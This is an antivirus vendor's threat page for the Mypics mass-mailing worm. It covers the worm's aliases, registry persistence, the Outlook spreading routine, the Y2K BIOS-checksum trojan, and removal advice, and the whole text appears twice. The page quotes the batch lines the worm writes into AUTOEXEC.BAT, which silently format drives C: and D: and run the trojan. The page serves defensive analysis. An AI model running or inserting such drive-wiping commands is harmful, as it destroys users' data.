McAfee > Theat Center > Virus Detail Page

Overview

This is a virus detection. Viruses are programs that self-replicate recursively, meaning that infected systems spread the virus to other systems, which then propagate the virus further. While many viruses contain a destructive payload, it's quite common for viruses to do nothing more than spread from one system to another.

Aliases

• I-Worm.Mypics.a

• W32/Mypics.bat

• W32/Mypics.com

• W95/HLLW.MyPics

Characteristics

This worm was written in Visual Basic and has a reliance on the library file MSVBVM50.DLL. Without this file, the program will error. This file will copy itself to the local machine and register itself to run from the registry at system startup from either of these locations, depending on if the operating system is Windows 9x or NT:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

While the file runs as a task in memory, it is performing two functions. One function is to spread via an email routine while the other is a monitor for the system clock to reach January 1st 2000.

This worm uses mass email for distribution, if executed. It appears to use code similar to W97M/Melissa virus to distribute itself using MS Outlook to the first 50 email recipients, however emails created by this worm do not contain a subject line, only the message body of "Here's some pictures for you !" and the email message also has the attached file "Pics4You.exe" with a size of 34,304 bytes.

If the worm is running as a task and detects that the year has changed from 1999 to 2000, this worm writes a .COM file to the local machine in the root of drive C: named "CBIOS.COM". This small file is a trojan which overwrites the checksum value for the BIOS on the local system.

The AUTOEXEC.BAT is also overwritten with these instructions:

ctty nul
format d: /autotest /q /u
format c: /autotest /q /u
c:\cbios.com

Since the AUTOEXEC.BAT startup file is not implemented in Windows NT, this file is never run. After the AUTOEXEC.BAT modification, the user's home page is reset to point to the following web loca

Symptoms

Existence of this file on the local system - modifications to the system registry as mentioned above - mass mailings as mentioned above.

Method of Infection

Running the executable will directly copy itself and run the mass mailing routine.

Removal

All Users :
Script,Batch,Macro and non memory-resident:
Use current engine and DAT files for detection and removal.

PE,Trojan,Internet Worm and memory resident :
Use specified engine and DAT files for detection. To remove, boot to MS-DOS mode or use a boot diskette and use the command line scanner:

Additional Windows ME/XP removal considerations

Users should not trust file icons, particularly when receiving files from others via P2P clients, IRC, email or other mediums where users can share files.

AVERT Recommended Updates :

* Office2000 Updates

* Malformed Word Document Could Enable Macro to Run Automatically (Information/Patch )

* scriptlet.typelib/Eyedog vulnerability patch

* Outlook as an email attachment security update

* Exchange 5.5 post SP3 Information Store Patch 5.5.2652.42 - this patch corrects detection issues with GroupShield

For a list of attachments blocked by the Outlook patch and a general FAQ, visit this link .
Additionally, Network Administrators can configure this update using an available tool - visit this link for more information .

It is very common for macro viruses to disable options within Office applications for example in Word, the macro protection warning commonly is disabled. After cleaning macro viruses, ensure that your previously set options are again enabled.

Variants

Variants

• W32/Mypics.com
• W32/Mypics.bat

All Information

Overview -

This is a virus detection. Viruses are programs that self-replicate recursively, meaning that infected systems spread the virus to other systems, which then propagate the virus further. While many viruses contain a destructive payload, it's quite common for viruses to do nothing more than spread from one system to another.

Aliases

• I-Worm.Mypics.a

• W32/Mypics.bat

• W32/Mypics.com

• W95/HLLW.MyPics

Characteristics

Characteristics -

This worm was written in Visual Basic and has a reliance on the library file MSVBVM50.DLL. Without this file, the program will error. This file will copy itself to the local machine and register itself to run from the registry at system startup from either of these locations, depending on if the operating system is Windows 9x or NT:

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

While the file runs as a task in memory, it is performing two functions. One function is to spread via an email routine while the other is a monitor for the system clock to reach January 1st 2000.

This worm uses mass email for distribution, if executed. It appears to use code similar to W97M/Melissa virus to distribute itself using MS Outlook to the first 50 email recipients, however emails created by this worm do not contain a subject line, only the message body of "Here's some pictures for you !" and the email message also has the attached file "Pics4You.exe" with a size of 34,304 bytes.

If the worm is running as a task and detects that the year has changed from 1999 to 2000, this worm writes a .COM file to the local machine in the root of drive C: named "CBIOS.COM". This small file is a trojan which overwrites the checksum value for the BIOS on the local system.

The AUTOEXEC.BAT is also overwritten with these instructions:

ctty nul
format d: /autotest /q /u
format c: /autotest /q /u
c:\cbios.com

Since the AUTOEXEC.BAT startup file is not implemented in Windows NT, this file is never run. After the AUTOEXEC.BAT modification, the user's home page is reset to point to the following web loca

Symptoms

Symptoms -

Existence of this file on the local system - modifications to the system registry as mentioned above - mass mailings as mentioned above.

Method of Infection

Method of Infection -

Running the executable will directly copy itself and run the mass mailing routine.

Removal -

Removal -

All Users :
Script,Batch,Macro and non memory-resident:
Use current engine and DAT files for detection and removal.

PE,Trojan,Internet Worm and memory resident :
Use specified engine and DAT files for detection. To remove, boot to MS-DOS mode or use a boot diskette and use the command line scanner:

Additional Windows ME/XP removal considerations

Users should not trust file icons, particularly when receiving files from others via P2P clients, IRC, email or other mediums where users can share files.

AVERT Recommended Updates :

* Office2000 Updates

* Malformed Word Document Could Enable Macro to Run Automatically (Information/Patch )

* scriptlet.typelib/Eyedog vulnerability patch

* Outlook as an email attachment security update

* Exchange 5.5 post SP3 Information Store Patch 5.5.2652.42 - this patch corrects detection issues with GroupShield

For a list of attachments blocked by the Outlook patch and a general FAQ, visit this link .
Additionally, Network Administrators can configure this update using an available tool - visit this link for more information .

It is very common for macro viruses to disable options within Office applications for example in Word, the macro protection warning commonly is disabled. After cleaning macro viruses, ensure that your previously set options are again enabled.

Variants

Variants -

• W32/Mypics.com
• W32/Mypics.bat